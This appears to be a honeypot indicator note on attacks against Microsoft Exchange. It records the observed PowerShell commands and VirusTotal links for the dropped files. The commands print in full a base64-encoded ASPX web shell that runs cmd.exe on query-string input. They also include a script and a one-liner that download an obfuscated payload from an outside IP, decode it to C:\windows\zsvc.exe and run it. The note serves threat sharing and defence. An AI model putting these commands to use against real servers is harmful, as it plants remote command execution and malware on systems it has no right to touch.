Exchange Honeypot Info

Powershell Commands Observed:
powershell $d=[System.Convert]::FromBase64String('PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBFbmFibGVWaWV3U3RhdGU9ImZhbHNlIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8JQ0KCXN0cmluZyBxID0gIiI7DQogICAgICAgIGlmIChSZXF1ZXN0LlF1ZXJ5U3RyaW5nWyJxIl0gIT0gbnVsbClxPSBSZXF1ZXN0LlF1ZXJ5U3RyaW5nWyJxIl07DQogICAgICAgIGlmIChSZXF1ZXN0LlF1ZXJ5U3RyaW5nWyJxNjQiXSAhPSBudWxsKXE9IFN5c3RlbS5UZXh0LkVuY29kaW5nLlVURjguR2V0U3RyaW5nKENvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0LlF1ZXJ5U3RyaW5nWyJxNjQiXSkpOw0KDQoNCglSZXNwb25zZS5Xcml0ZSgicnVueyIrcSsifSIpOw0KCWlmKHEhPSIiKSB7DQogICAgICAgICAgICAgICAgUHJvY2VzcyBwID0gbmV3IFByb2Nlc3MoKTsNCiAgICAgICAgICAgICAgICBwLlN0YXJ0SW5mby5DcmVhdGVOb1dpbmRvdyA9IHRydWU7DQogICAgICAgICAgICAgICAgcC5TdGFydEluZm8uRmlsZU5hbWUgPSAiY21kLmV4ZSI7DQogICAgICAgICAgICAgICAgcC5TdGFydEluZm8uQXJndW1lbnRzID0gIi9jICIgKyBxOw0KICAgICAgICAgICAgICAgIHAuU3RhcnRJbmZvLlVzZVNoZWxsRXhlY3V0ZSA9IGZhbHNlOw0KICAgICAgICAgICAgICAgIHAuU3RhcnRJbmZvLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQgPSB0cnVlOw0KICAgICAgICAgICAgICAgIHAuU3RhcnRJbmZvLlJlZGlyZWN0U3RhbmRhcmRFcnJvciA9IHRydWU7DQogICAgICAgICAgICAgICAgcC5TdGFydCgpOw0KCQlSZXNwb25zZS5Xcml0ZShwLlN0YW5kYXJkT3V0cHV0LlJlYWRUb0VuZCgpICsgcC5TdGFuZGFyZEVycm9yLlJlYWRUb0VuZCgpKTsNCgkJUmVzcG9uc2UuRW5kKCk7DQogICAgICAgIH0gICAgICAgDQolPg==');[io.file]::WriteAllBytes('C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\theme-j2ex18zj0lg7.aspx',$d);

powershell $d=[System.Convert]::FromBase64String('ZGVsICJDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE1XEZyb250RW5kXEh0dHBQcm94eVxvd2FcYXV0aFx0ZXN0MTEtYXNkemFxLmFzcHgiDQplY2hvIEV4ZWN1dGVkT0sNCmVjaG8gMTI+QzpcV2luZG93c1xtc2hscGRhMzIuZGxsJnBvd2Vyc2hlbGwgIiRiPSQoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzE3OC4yMS4xNjQuNjgvZHduLnBocD9iNjQ9MSZkPW5ldGhvc3Q2NEMuZXhlJkI9XyVQUk9DRVNTT1JfQVJDSElURUNUVVJFJSwlQ09NUFVURVJOQU1FJScpOyRkPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGIpOyR0PU5ldy1PYmplY3QgQnl0ZVtdKCRkLkxlbmd0aCk7W2ludF0kaj0wO0ZPUihbaW50XSRpPTA7JGkgLWx0ICRkLkxlbmd0aDsgJGkrKyl7JGorPTY2OyR0WyRpXT0oKCRkWyRpXSAtYnhvciAoJGkqMyAtYmFuZCAyNTUpKS0kaikgLWJhbmQgMjU1O31baW8uZmlsZV06OldyaXRlQWxsQnl0ZXMoJ0M6XHdpbmRvd3NcenN2Yy5leGUnLCR0KTtTdGFydC1Qcm9jZXNzIEM6XHdpbmRvd3NcenN2Yy5leGUiDQpkZWwgJTA=');[io.file]::WriteAllBytes('C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\theme-j2ex18zj0lg7.cmd',$d);

powershell "$b=$(New-Object Net.WebClient).DownloadString('http://178.21.164.68/dwn.php?b64=1&d=nethost64C.exe&B=_AMD64,Exchange01');$d=[System.Convert]::FromBase64String($b);$t=New-Object Byte[]($d.Length);[int]$j=0;FOR([int]$i=0;$i -lt $d.Length; $i++){$j+=66;$t[$i]=(($d[$i] -bxor ($i*3 -band 255))-$j) -band 255;}[io.file]::WriteAllBytes('C:\windows\zsvc.exe',$t);Start-Process C:\windows\zsvc.exe"

Virustotal Links:
zsvc.exe - https://www.virustotal.com/gui/file/f0a5b257f16c4ccff520365ebc143f09ccf233e642bf540b5b90a2bbdb43d5b4/detection
theme-j2ex18zj0lg7.aspx - https://www.virustotal.com/gui/file/904841fcae79b5c3521eada6c73337474f53fea621c9a26b89eb253aefa54e73/detection